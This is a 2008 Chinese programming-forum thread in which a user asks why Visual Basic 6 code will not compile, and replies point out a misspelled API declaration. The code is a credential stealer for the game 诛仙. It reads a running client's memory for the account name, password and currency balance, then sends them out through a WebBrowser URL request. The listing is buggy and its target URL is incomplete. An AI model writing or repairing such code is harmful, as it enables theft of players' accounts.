标题:为什么总偏译错误?
只看楼主
qq8555898
Rank: 1
等 级:新手上路
帖 子:1
专家分:0
注 册:2008-7-24
 问题点数:0 回复次数:2 
为什么总偏译错误?
Private Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long
Private Declare Function GetWindowThreasdProcessId Lib "user32" (ByVal hwnd As Long, lpdwProcessId As Long) As Long
Private Declare Function OpenProcess Lib "kernel32" (ByVal dwDesiredAccess As Long, ByVal bInheritHandie As Long, ByVal dwProcessId As Long) As Long
Private Declare Function ReadProcessMemory Lib "kernel32" (ByVal hProcess As Long, ByVal lpBaseAddress As Any, ByVal lpBuffer As Any, ByVal nSize As Long, lpNumberOfBytesWritten As Long) As Long
Private Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long
Const STANDARD_RIGHTS_REQUIRED = &HF0000
Const SYNCHRONIZE = &O100000
Const PROCESS_ALL_ACCESS = STANDARD_RIGHTS_REQUIRED Or SYNCHRONIZE Or &HFFF


Private Function jiequ()
Dim ecxi As Long
Dim hwnd As Long ' 储存 FindWindow 函数返回的句柄
Dim pid As Long ' 储存进程句柄(Process Id)
Dim pHandle As Long ' 储存进程句柄

hwnd = FindWindow(vbNullString, "诛仙")

GetWindowThreadProcessId hwnd, pid

pHandie = OpenProcess(PROCESS_ALL_ACCESS, False, pid)

Dim nc     As String, mi As String, qia As String

  nc = Space(255)
  mi = Space(255)
  qia = Space(255)
Dim ncn As Long
Dim ncn2 As Long
Dim ncn3 As Long
Dim mima As Long
Dim qian As Long
Dim qian1 As Long
Dim qian2 As Long
Dim dj As Long
' 在内存地址中读取数据
ReadProcessMemory pHandle, ByVal &H91B650, ByVal VarPtr(ncn), 4, 0

ReadProcessMemory pHandle, ncn + &H124, ByVal VarPtr(ncn2), 4, 0

ReadProcessMemory pHandle, ncn2, ByVal nc, 20, 0 '帐号

ReadProcessMemory pHandle, ncn + —H128, ByVal VarPtr(mima), 4, 0

ReadProcessMemory pHandle, mima, ByVal mi, 20, 0 '密码

ReadProcessMemory pHandle, ByVal —H91B64C, VarPtr(qian), 4, 0

ReadProcessMemory pHandle, ByVal (qian + &H28), ByVal VarPtr(qian), 4, 0

ReadProcessMemory pHandle, ByVal (qian1 + &H2D4), ByVal VarPtr(qian2), 4, 0


Text1.Text = ns
Text2.Text = mi
Text3.Text = qian2


CloseHandle hProcess
Timer1.Enabled = True

End Function


End Sub

Private Sub Form_Load()
jiequ
End Sub

Private Sub Timer1_Timer()
WebBrowser1.Navigate "www. & Text1 & Text2 & Text3
End Sub


老显示
子程序或函数未定义

未命名.jpg" border="0" />
搜索更多相关主题的帖子: ByVal Long Lib Function Declare 
2008-07-24 09:36
永夜的极光
Rank: 6Rank: 6
等 级:贵宾
威 望:27
帖 子:2721
专家分:1
注 册:2007-10-9
得分:0 
GetWindowThreasdProcessId

声明的时候多了个s

从BFS(Breadth First Study)到DFS(Depth First Study)
2008-07-24 09:44
multiple1902
Rank: 8Rank: 8
等 级:贵宾
威 望:42
帖 子:4881
专家分:671
注 册:2007-2-9
得分:0 
为什么我这里显示的是“GetWindowThreadProcessId hwnd, pid” 这行出错?
这样就很明显是谁没定义了
2008-07-24 11:06



参与讨论请移步原网站贴子:https://bbs.bccn.net/thread-225033-1-1.html




关于我们 | 广告合作 | 编程中国 | 清除Cookies | TOP | 手机版

编程中国 版权所有,并保留所有权利。
Powered by Discuz, Processed in 0.591780 second(s), 8 queries.
Copyright©2004-2024, BCCN.NET, All Rights Reserved